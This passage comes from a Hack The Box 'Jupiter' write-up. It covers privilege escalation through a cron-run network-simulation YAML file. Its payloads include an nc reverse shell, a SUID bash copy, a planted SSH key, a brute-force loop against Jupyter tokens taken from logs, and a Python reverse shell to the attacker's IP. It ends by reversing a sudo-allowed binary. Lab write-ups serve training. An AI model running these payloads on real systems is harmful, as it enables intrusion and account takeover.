network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
$ ls -la /dev/shm/shadow.data
total 8
drwxrwxr-x 3 juno juno 100 Aug 16 09:38 .
drwxrwxrwt 3 root root 100 Aug 16 09:38 ..
drwxrwxr-x 6 juno juno 120 Aug 16 09:38 hosts
-rw-rw-r-- 1 juno juno 1889 Aug 16 09:38 processed-config.yaml
-rw-rw-r-- 1 juno juno 1929 Aug 16 09:38 sim-stats.json
$ ls -la /dev/shm/shadow.data/hosts
total 0
drwxrwxr-x 6 juno juno 120 Aug 16 09:38 .
drwxrwxr-x 3 juno juno 100 Aug 16 09:38 ..
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client1
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client2
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 client3
drwxrwxr-x 2 juno juno 120 Aug 16 09:38 server
$ cat /dev/shm/shadow.data/processed-config.yaml
general:
stop_time: 10 sec
seed: 1
parallelism: 1
bootstrap_end_time: 0 sec
log_level: info
heartbeat_interval: 1 sec
data_directory: shadow.data
template_directory: null
progress: false
model_unblocked_syscall_latency: true
network:
graph:
type: 1_gbit_switch
use_shortest_path: true
experimental:
use_sched_fifo: false
use_explicit_block_message: false
use_syscall_counters: true
use_object_counters: true
use_preload_libc: true
use_preload_openssl_rng: true
use_preload_openssl_crypto: false
preload_spin_max: 0
use_memory_manager: true
use_shim_syscall_handler: true
use_cpu_pinning: true
runahead: 1 ms
use_dynamic_runahead: false
socket_send_buffer: 131072 B
socket_send_autotune: true
socket_recv_buffer: 174760 B
socket_recv_autotune: true
interface_qdisc: fifo
use_legacy_working_dir: false
host_heartbeat_log_level: info
host_heartbeat_log_info:
- node
host_heartbeat_interval: 1 sec
strace_logging_mode: off
max_unapplied_cpu_latency: 1 μs
unblocked_syscall_latency: 1 μs
unblocked_vdso_latency: 10 ns
use_extended_yaml: false
scheduler: thread-per-core
hosts:
client:
network_node_id: 0
processes:
- path: /usr/bin/curl
args: -s server
environment: ''
quantity: 1
start_time: 5 sec
stop_time: null
ip_addr: null
quantity: 3
bandwidth_down: null
bandwidth_up: null
options:
log_level: null
pcap_directory: null
pcap_capture_size: 65535 B
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
environment: ''
quantity: 1
start_time: 3 sec
stop_time: null
ip_addr: null
quantity: 1
bandwidth_down: null
bandwidth_up: null
options:
log_level: null
pcap_directory: null
pcap_capture_size: 65535 B
Ok, here, things might seem interesting, but we need to understand what we are dealing with. Well, it appears to be a configuration file for a simulation involving one server and three clients (like the folders found in the hosts' path). The server starts a web server on port 80, which is then polled by the three clients via a curl. The yaml files placed in the different folders seem to me to be very similar, at least in the representation of what they want to identify. Let's look at the json file (probably the simulation output).
$ cat /dev/shm/shadow.data/sim-stats.json
{
"objects": {
"alloc_counts": {
"TaskRef": 1272,
"Event": 593,
"SysCallCondition": 232,
"Timer": 214,
"LegacyDescriptor": 171,
"RegularFile": 153,
"StatusListener": 130,
"Packet": 60,
"Futex": 46,
"Relay": 12,
"Epoll": 11,
"ManagedThread": 10,
"SysCallHandler": 10,
"Payload": 9,
"NetworkInterface": 8,
"LegacyTcpSocket": 7,
"TCP": 7,
"FutexTable": 4,
"Router": 4
},
"dealloc_counts": {
"TaskRef": 1272,
"Event": 593,
"SysCallCondition": 232,
"Timer": 214,
"LegacyDescriptor": 171,
"RegularFile": 153,
"StatusListener": 130,
"Packet": 60,
"Futex": 46,
"Relay": 12,
"Epoll": 11,
"ManagedThread": 10,
"SysCallHandler": 10,
"Payload": 9,
"NetworkInterface": 8,
"LegacyTcpSocket": 7,
"TCP": 7,
"FutexTable": 4,
"Router": 4
}
},
"syscalls": {
"newfstatat": 492,
"futex": 263,
"read": 222,
"lseek": 183,
"rt_sigaction": 180,
"fstat": 176,
"close": 172,
"ioctl": 106,
"open": 90,
"mmap": 56,
"poll": 53,
"openat": 51,
"getdents64": 34,
"rt_sigprocmask": 28,
"brk": 23,
"fcntl": 19,
"mprotect": 19,
"socket": 17,
"setsockopt": 14,
"connect": 13,
"munmap": 13,
"sendto": 12,
"recvfrom": 9,
"getsockname": 8,
"clone": 6,
"getrandom": 6,
"rseq": 6,
"set_robust_list": 6,
"shadow_get_shm_blk": 6,
"socketpair": 6,
"write": 6,
"gettid": 4,
"shadow_hostname_to_addr_ipv4": 4,
"shadow_init_memory_manager": 4,
"sysinfo": 4,
"accept4": 3,
"dup": 3,
"exit_group": 3,
"getpeername": 3,
"getsockopt": 3,
"pipe": 3,
"shadow_yield": 3,
"shutdown": 3,
"bind": 1,
"epoll_create1": 1,
"listen": 1,
"uname": 1
}
}
It just seems to be that.
$ ls -la /dev/shm/shadow.data/hosts/server
total 4
drwxrwxr-x 2 juno juno 120 Aug 16 09:50 .
drwxrwxr-x 6 juno juno 120 Aug 16 09:50 ..
-rw-rw-r-- 1 juno juno 0 Aug 16 09:50 server.python3.10.1000.exitcode
-rw-r--r-- 1 juno juno 0 Aug 16 09:50 server.python3.10.1000.shimlog
-rw-r--r-- 1 juno juno 177 Aug 16 09:50 server.python3.10.1000.stderr
-rw-r--r-- 1 juno juno 0 Aug 16 09:50 server.python3.10.1000.stdout
$ ls -la /dev/shm/shadow.data/hosts/client1
total 8
drwxrwxr-x 2 juno juno 120 Aug 16 09:50 .
drwxrwxr-x 6 juno juno 120 Aug 16 09:50 ..
-rw-rw-r-- 1 juno juno 1 Aug 16 09:50 client1.curl.1000.exitcode
-rw-r--r-- 1 juno juno 0 Aug 16 09:50 client1.curl.1000.shimlog
-rw-r--r-- 1 juno juno 0 Aug 16 09:50 client1.curl.1000.stderr
-rw-r--r-- 1 juno juno 548 Aug 16 09:50 client1.curl.1000.stdout
In all this, however, I did not quite understand which simulation program is being used. We need to monitor the processes to identify which one is using (or will be using its startup) one of the yaml files we just parsed. So, the latest version of pyspy and let's move on. And after waiting a few minutes....
[...]
2023/08/16 09:58:01 CMD: UID=0 PID=24062 | /usr/sbin/CRON -f -P
2023/08/16 09:58:01 CMD: UID=1000 PID=24065 | rm -rf /dev/shm/shadow.data
2023/08/16 09:58:01 CMD: UID=1000 PID=24064 | /bin/bash /home/juno/shadow-simulation.sh
2023/08/16 09:58:01 CMD: UID=1000 PID=24063 | /bin/sh -c /home/juno/shadow-simulation.sh
2023/08/16 09:58:01 CMD: UID=1000 PID=24066 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/08/16 09:58:01 CMD: UID=1000 PID=24069 | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/08/16 09:58:01 CMD: UID=1000 PID=24070 | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/08/16 09:58:01 CMD: UID=1000 PID=24075 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/08/16 09:58:01 CMD: UID=1000 PID=24076 | /usr/bin/curl -s server
2023/08/16 09:58:01 CMD: UID=1000 PID=24078 | /usr/bin/curl -s server
2023/08/16 09:58:01 CMD: UID=1000 PID=24080 | /usr/bin/curl -s server
2023/08/16 09:58:02 CMD: UID=1000 PID=24085 |
2023/08/16 09:58:12 CMD: UID=114 PID=24086 | postgres: 14/main: autovacuum worker
Ok, all clear, anything that is started from this script will be run under the juno user credentials. So let's prepare our payload...
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/upld]
└─$ cat network-simuation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/sh
args: -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.99 4445 >/tmp/f'
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
...and replace it with the original one (hopefully it won't be overwritten sooner). However, I will need a tty shell and since kali's zsh has given me problems several times, I have to opt for a switch to bash. We have to reconnect. Let's go through the steps again, but first, let's switch to a bash shell.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ps -p $$
PID TTY TIME CMD
54696 pts/4 00:00:04 zsh
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ bash
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ps -p $$
PID TTY TIME CMD
67638 pts/4 00:00:00 bash
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.99] from jupiter.htb [10.10.11.216] 35012
/bin/sh: 0: can't access tty; job control turned off
$
Here are several ways to switch to a tty shell, the one we're interested in is towards the end.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@jupiter:/var/lib/postgresql/14/main$ ^Z
[1]+ Stopped nc -lvp 4444
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ stty -a
speed 38400 baud; rows 65; columns 133; line = 0;
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S;
susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ stty raw -echo
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$
nc -lvp 4444
postgres@jupiter:reset
After the reset command set the terminal (xterm-256color) and the rows and columns as specified in the article. At this point, you can safely edit the network-simulation.yml file with vi, save, wait a few minutes and hope that everything works as expected. Unfortunately, the file is restored after a while, but without my listener on port 4445 being activated. There must be something wrong, let's try with some simpler commands, just to understand if at least the commands we insert are executed.
- path: /usr/bin/sh
args: -c 'curl http://10.10.14.99/'
But this command also fails. Let's try pointing the rails directly.
- path: /usr/bin/curl
args: http://10.10.14.99/
Doesn't it seem to have an effect, that user juno doesn't have permission to execute certain commands with network access? Let's try something even simpler, this time using both processes (client and server). Change the hosts section as follow:
[...]
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/sh
args: -c 'touch /tmp/test1'
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/sh
args: -c 'touch /tmp/test2'
start_time: 5s
[...]
Nothing again... Let's try again.
[...]
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash1
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash2
start_time: 5s
[...]
Good, it seems that the first command worked, I find the bash1 command inside the tmp folder.
postgres@jupiter:/dev/shm$ ls -la /tmp/bash1
-rwxr-xr-x 1 juno juno 1396520 Aug 16 19:38 /tmp/bash1
Let's activate a SUID from juno on it. We proceed as before and change the permissions of the bash that I just copied into the tmp folder.
[...]
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash1
start_time: 3s
[...]
And we have a way to impersonate juno.
postgres@jupiter:/dev/shm$ ls -la /tmp/bash1
-rwsr-xr-x 1 juno juno 1396520 Aug 16 19:38 /tmp/bash1
postgres@jupiter:/dev/shm$ /tmp/bash1 -p
bash1-5.1$ whoami
juno
bash1-5.1$ pwd
/dev/shm
bash1-5.1$ cd
bash1: cd: HOME not set
bash1-5.1$ cd /home/juno
bash1-5.1$ ls -la
total 52
drwxr-x--- 8 juno juno 4096 May 4 12:10 .
drwxr-xr-x 4 root root 4096 Mar 7 13:00 ..
lrwxrwxrwx 1 juno juno 9 Mar 7 10:45 .bash_history -> /dev/null
-rw-r--r-- 1 juno juno 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 juno juno 3792 Mar 7 10:00 .bashrc
drwx------ 3 juno juno 4096 May 4 18:59 .cache
drwxrwxr-x 5 juno juno 4096 Mar 7 10:02 .cargo
drwxrwxr-x 5 juno juno 4096 Mar 7 12:08 .local
-rw-r--r-- 1 juno juno 828 Mar 7 10:00 .profile
drwxrwxr-x 6 juno juno 4096 Mar 7 10:01 .rustup
drwxrwxr-x 12 juno juno 4096 Mar 9 10:31 shadow
-rwxrwxr-x 1 juno juno 174 Apr 14 14:28 shadow-simulation.sh
drwx------ 2 juno juno 4096 Mar 7 09:55 .ssh
-rw-r----- 1 root juno 33 Aug 16 04:26 user.txt
bash1-5.1$ cat user.txt
cat: user.txt: Permission denied
Hmm... looks like we'll have to lengthen our path to the user flag, but it doesn't seem too difficult.
bash1-5.1$ cd .ssh
bash1-5.1$ ls -la
total 8
drwx------ 2 juno juno 4096 Mar 7 09:55 .
drwxr-x--- 8 juno juno 4096 May 4 12:10 ..
-rw------- 1 juno juno 0 Mar 7 09:55 authorized_keys
Let's insert our key, and we can enter it without problems.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/in7rud3r/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:YIeu20L74kbKl3a1hzVLNvoMBwA2b9lMSDJ2Xc/tVBc in7rud3r@in7rud3r-kali
The key's randomart image is:
+---[RSA 3072]----+
| B.oo... E+|
| o B.*. o . ..|
| O + o o |
| + + o |
| . S . |
| o. ..* |
| . +.o ..B.+ |
| o Oo. ++o |
| =o=o oo |
+----[SHA256]-----+
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kGgr4pqlTECq8iwIF9eZLiJTlVxRNYzlCFnEku49SBVbWqZa5SNrMHCOttPf1jjBLuvgX6Qk91iRr4gkPRsiMZdl1GoRuWxPmdq3qwBZhoFbtEU7g1SlbZd1g8v2hATgiyvX4xsF0BQaEpT3yybiO80CPzlGK1N26W37ovQCWfh5fjRC/PuwY8DIZf5WnIjf0kWgt86n2jbn6G2y2xjDXyIO4AadZHkxayf5k/O1Z5lPPkToH25Tj29JBVyfWTHtcGySG5J7jKEGLWDigq8ixC4g8B2cMinR7QnZcXPq0NDA5cJHnlAyxrDKupzBUBP704a9D3cnuQ0H34I3h3QVmAyGif7518O558HTxiLgQsU87MKd8hFRlMDMN3r4bW/MkkU0vsEudd3heG1yx86yphsTZDX8QWdyKN1va9XAcJrXDOrCjzQwWTeg87DefHiz3y+jdQXHo+wxVaTAFVjOWAMIJL7CIzD2GnDQqHfhnieD5apthLF+dTszEkUN8yk= in7rud3r@in7rud3r-kali
Insert the new public key into the authorized_keys of the juno account...
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kGgr4pqlTECq8iwIF9eZLiJTlVxRNYzlCFnEku49SBVbWqZa5SNrMHCOttPf1jjBLuvgX6Qk91iRr4gkPRsiMZdl1GoRuWxPmdq3qwBZhoFbtEU7g1SlbZd1g8v2hATgiyvX4xsF0BQaEpT3yybiO80CPzlGK1N26W37ovQCWfh5fjRC/PuwY8DIZf5WnIjf0kWgt86n2jbn6G2y2xjDXyIO4AadZHkxayf5k/O1Z5lPPkToH25Tj29JBVyfWTHtcGySG5J7jKEGLWDigq8ixC4g8B2cMinR7QnZcXPq0NDA5cJHnlAyxrDKupzBUBP704a9D3cnuQ0H34I3h3QVmAyGif7518O558HTxiLgQsU87MKd8hFRlMDMN3r4bW/MkkU0vsEudd3heG1yx86yphsTZDX8QWdyKN1va9XAcJrXDOrCjzQwWTeg87DefHiz3y+jdQXHo+wxVaTAFVjOWAMIJL7CIzD2GnDQqHfhnieD5apthLF+dTszEkUN8yk= in7rud3r@in7rud3r-kali' >> authorized_keys
...and now we should be able to pass!
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa [email protected]
The authenticity of host '10.10.11.216 (10.10.11.216)' can't be established.
ED25519 key fingerprint is SHA256:Ew7jqugz1PCBr4+xKa3GVApxe+GlYwliOFLdMlqXWf8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.216' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Aug 16 07:56:29 PM UTC 2023
System load: 0.0
Usage of /: 81.5% of 12.33GB
Memory usage: 25%
Swap usage: 0%
Processes: 296
Users logged in: 0
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:6d82
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jun 7 15:13:15 2023 from 10.10.14.23
juno@jupiter:~$ cat user.txt
7******************************5
Well done, go ahead with the basis.
juno@jupiter:~$ sudo -l
[sudo] password for juno:
Well, I'd run linpeas again, but I still have some previous reports that I haven't investigated and that now, with an ssh connection, I can exploit (remember ports 3000 and 8888?). We can then activate the port forwarding we were talking about earlier. Start with port 3000.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa -L 3000:127.0.0.1:3000 [email protected]
Navigate the localhost:3000 and... Ok, as supposed, on port 3000 there is the grafana service, Let's try with port 8888.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ ssh -i id_rsa -L 8888:127.0.0.1:8888 [email protected]
And here is the login form we identified through the unreadable curl output. Ok, it's jupyter notebook. Let's investigate also on the shell.
juno@jupiter:~$ jupyter --version
Selected Jupyter core packages...
IPython : 8.11.0
ipykernel : 6.21.3
ipywidgets : 8.0.4
jupyter_client : 8.0.3
jupyter_core : 5.2.0
jupyter_server : 2.4.0
jupyterlab : not installed
nbclient : not installed
nbconvert : 7.2.9
nbformat : not installed
notebook : 6.5.3
qtconsole : 5.4.0
traitlets : 5.9.0
juno@jupiter:~$ jupyter --paths
config:
/home/juno/.jupyter
/home/juno/.local/etc/jupyter
/usr/etc/jupyter
/usr/local/etc/jupyter
/etc/jupyter
data:
/home/juno/.local/share/jupyter
/usr/local/share/jupyter
/usr/share/jupyter
runtime:
/home/juno/.local/share/jupyter/runtime
It will be a long investigation (but don't worry, I'll spare you some unnecessary steps). Ok, I scanned the files in the specified folders looking for some useful token to use in the authentication form, but I didn't find anything, I searched for some jupyter exploits and installed plugins, but again, nothing interesting. A little hint comes when I go to list the jupyter notebook processes.
juno@jupiter:~$ ps -aux | grep jupyter
jovian 1176 0.0 2.4 482416 99092 ? Sl Aug20 0:12 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
jovian 57073 0.0 1.5 753780 62108 ? Ssl 04:27 0:01 /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-c2a5d644-1301-41fc-b7d3-88e91bfe38eb.json
jovian 57120 0.0 1.5 753776 62528 ? Ssl 04:28 0:01 /usr/bin/python3 -m ipykernel_launcher -f /home/jovian/.local/share/jupyter/runtime/kernel-d22d4c12-e148-46c0-9ca6-fadbc5692469.json
juno 78063 0.0 0.0 6608 2320 pts/2 S+ 08:04 0:00 grep --color=auto jupyter
juno@jupiter:~$ ls -la /opt/solar-flares/
total 2612
drwxrwx--- 4 jovian science 4096 Aug 21 04:34 .
drwxr-xr-x 3 root root 4096 May 4 18:59 ..
-rw-rw---- 1 jovian science 646164 Mar 8 09:11 cflares.csv
-rw-rw---- 1 jovian science 708058 Mar 8 09:11 flares.csv
-rw-rw---- 1 jovian science 10230 Mar 8 09:11 flares.html
-rw-r----- 1 jovian science 234001 Aug 21 04:29 flares.ipynb
drwxrwxr-x 2 jovian science 4096 Aug 21 04:29 .ipynb_checkpoints
drwxrwxr-t 2 jovian science 4096 Aug 21 04:14 logs
-rw-rw---- 1 jovian science 1010424 Mar 8 09:11 map.jpg
-rw-rw---- 1 jovian science 26651 Mar 8 09:11 mflares.csv
-rwxr-xr-x 1 jovian science 147 Mar 8 11:37 start.sh
-rw-rw-r-- 1 jovian jovian 1354 Aug 21 04:34 Untitled.ipynb
-rw-rw---- 1 jovian science 1992 Mar 8 09:11 xflares.csv
juno@jupiter:~$ cd /opt/solar-flares/
juno@jupiter:/opt/solar-flares$ grep -irl token ./*
./logs/jupyter-2023-05-04-20.log
./logs/jupyter-2023-08-20-50.log
./logs/jupyter-2023-05-30-53.log
./logs/jupyter-2023-05-04-31.log
./logs/jupyter-2023-03-10-25.log
./logs/jupyter-2023-04-13-43.log
./logs/jupyter-2023-05-04-07.log
./logs/jupyter-2023-03-10-42.log
./logs/jupyter-2023-05-04-08.log
./logs/jupyter-2023-03-08-37.log
./logs/jupyter-2023-03-08-38.log
./logs/jupyter-2023-05-04-57.log
./logs/jupyter-2023-06-07-05.log
./logs/jupyter-2023-04-14-27.log
./logs/jupyter-2023-06-06-39.log
./logs/jupyter-2023-05-04-43.log
./logs/jupyter-2023-05-05-54.log
./logs/jupyter-2023-03-08-36.log
./logs/jupyter-2023-05-04-45.log
./logs/jupyter-2023-03-09-11.log
./logs/jupyter-2023-05-04-04.log
./logs/jupyter-2023-05-05-03.log
./logs/jupyter-2023-03-09-24.log
./logs/jupyter-2023-05-30-46.log
./logs/jupyter-2023-03-08-14.log
./logs/jupyter-2023-03-09-59.log
I hope there is a token that interests us! Let's try to find it using some linux bash features and make our life easier. we all look for the lines that contain the word "token", we will find that most are delimited by the word "Token" followed by an equals character ("=") and a trailing space, some are left out, but if we don't find that that we are looking for we could go back to recover those too. Let's extract, therefore, only these and group them in order to eliminate the duplicates.
juno@jupiter:/opt/solar-flares/logs$ grep -ir token ./* | grep -oP 'token=\K[^ ]+' | sort -u
17c88cd08da0e83060212d9bdca9b7e0cb77a5b3db7f601e
2f504e6fb46d05416b63f9a437f9b01cd84f1dc508f760e9
32c191b5c60eee4f4a2a8c71498d0d285a82433f1629e44d
355e8d17288e32971e13b7ea0e5a45f610a89a1079935d70
3c02358351a9f5dddc49de8529d8d70b72ad1bf3447da316
3fdb3a61fcbd3d798b1e544e65506679f1b3afe4c3d64ec0
42dc3684132c4f3abd861afaff87f77088e18ea324e8613f
4f3a203bf39974ebe186dcfcb13951800d7d48f551dca269
5313d7bfe0eb674db299f627f4be1212d17c6758b7b98989
541fe01458de7dfa4f6846a8942ac19813027a0d4c7ae75e
58b7b9d0f454d3dd67ba8617b5c49152b40b9a84ba84aaf6
63450eb6e1ecd994f61c46f72a99c5f54a5f46e5fb4dab45
6e55453452553edb56a9a1ff047e59731a996f1b1477a2bb
7c07a1dec44c592d51fffbe41d93478ed81b5bd6536f4e9e
86bc5bfe81160236c47c9ef49b0c30333685bd9bc1b4fabb
99515a46ec9771332b4bdb8c6345f556d0b9033ebb857bfc
a3fa766425e9e215fdb7bc51fecaaa9e851c579c1c9118a0
ac76aa2810c91514fb07a00850fc83091cd22e6cd8de4cad
afd87eff400a5006d19b6f7bf1b5541b7f716efbf847e440
b56d663f59a58570177c92c7bb992f90b252f97e9d04ab4a
b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9
c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
cb3838c517de094f37ac3a51fa6e5d65b29c54f407a2bfb9
e9b7d5bd755ff579a4bcd1cb2316098b282c954029d58f5d
ecb902737922cbb1155bc7c7a60a6f1b52ae206fd2e1ff1d
fa7fab9d1955b2003a7755d125e351956cc5b07e4ee7e8ec
ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b
Ok, let's save them in a local file, where we can also reach the portal on port and check if one of these tokens can be used to pass access control.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ for token in $(cat tokens.txt); do
response=$(curl -s -L "http://localhost:8888/?token=$token")
if [[ $response == *"Password or token"* ]]; then
echo "Token $token: Access Denied"
else
echo "Token $token: Access Granted"
fi
done
Token 17c88cd08da0e83060212d9bdca9b7e0cb77a5b3db7f601e: Access Denied
Token 2f504e6fb46d05416b63f9a437f9b01cd84f1dc508f760e9: Access Denied
Token 32c191b5c60eee4f4a2a8c71498d0d285a82433f1629e44d: Access Denied
Token 355e8d17288e32971e13b7ea0e5a45f610a89a1079935d70: Access Denied
Token 3c02358351a9f5dddc49de8529d8d70b72ad1bf3447da316: Access Denied
Token 3fdb3a61fcbd3d798b1e544e65506679f1b3afe4c3d64ec0: Access Denied
Token 42dc3684132c4f3abd861afaff87f77088e18ea324e8613f: Access Denied
Token 4f3a203bf39974ebe186dcfcb13951800d7d48f551dca269: Access Denied
Token 5313d7bfe0eb674db299f627f4be1212d17c6758b7b98989: Access Denied
Token 541fe01458de7dfa4f6846a8942ac19813027a0d4c7ae75e: Access Denied
Token 58b7b9d0f454d3dd67ba8617b5c49152b40b9a84ba84aaf6: Access Denied
Token 63450eb6e1ecd994f61c46f72a99c5f54a5f46e5fb4dab45: Access Granted
Token 6e55453452553edb56a9a1ff047e59731a996f1b1477a2bb: Access Denied
Token 7c07a1dec44c592d51fffbe41d93478ed81b5bd6536f4e9e: Access Denied
Token 86bc5bfe81160236c47c9ef49b0c30333685bd9bc1b4fabb: Access Denied
Token 99515a46ec9771332b4bdb8c6345f556d0b9033ebb857bfc: Access Denied
Token a3fa766425e9e215fdb7bc51fecaaa9e851c579c1c9118a0: Access Denied
Token ac76aa2810c91514fb07a00850fc83091cd22e6cd8de4cad: Access Denied
Token afd87eff400a5006d19b6f7bf1b5541b7f716efbf847e440: Access Denied
Token b56d663f59a58570177c92c7bb992f90b252f97e9d04ab4a: Access Denied
Token b8055b937eeb17431b3f00dfc5159ba909012d86be120b60: Access Denied
Token c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9: Access Denied
Token c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab: Access Denied
Token cb3838c517de094f37ac3a51fa6e5d65b29c54f407a2bfb9: Access Denied
Token e9b7d5bd755ff579a4bcd1cb2316098b282c954029d58f5d: Access Denied
Token ecb902737922cbb1155bc7c7a60a6f1b52ae206fd2e1ff1d: Access Denied
Token fa7fab9d1955b2003a7755d125e351956cc5b07e4ee7e8ec: Access Denied
Well done.
Create a new notebook and try to launch a new reverse shell.
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.161",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
And...
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ nc -lvp 4445
listening on [any] 4445 ...
connect to [10.10.14.161] from jupiter.htb [10.10.11.216] 32914
$ whoami
whoami
jovian
Ok, go fast and simple.
$ sudo -l
sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
There are two ways to solve this BOX, one relatively simple (replace the executable with a bash and start it as an administrator with sudo), the other more complex, but more correct (I think the creator of the BOX has foreseen this second street); let's pretend that the executable cannot be overwritten and that we need to learn more about the executable.
Ok, let's investigate. It's a binary, so, probably I'll have to reverse it.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ scp -i id_rsa [email protected]:/usr/local/bin/sattrack ../dwnl/sattrack
sattrack 100% 1088KB 1.1MB/s 00:00
Let's disassemble the binaries with ida (or use the disassembler that suits you best), but first run it to understand what we are dealing with and identify the points we will need during debugging.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
Analyzing the assembler, I immediately identify the first string, thrown in the output on the stream!
Look for the other string with the configuration file message among the strings and see which file is in question.
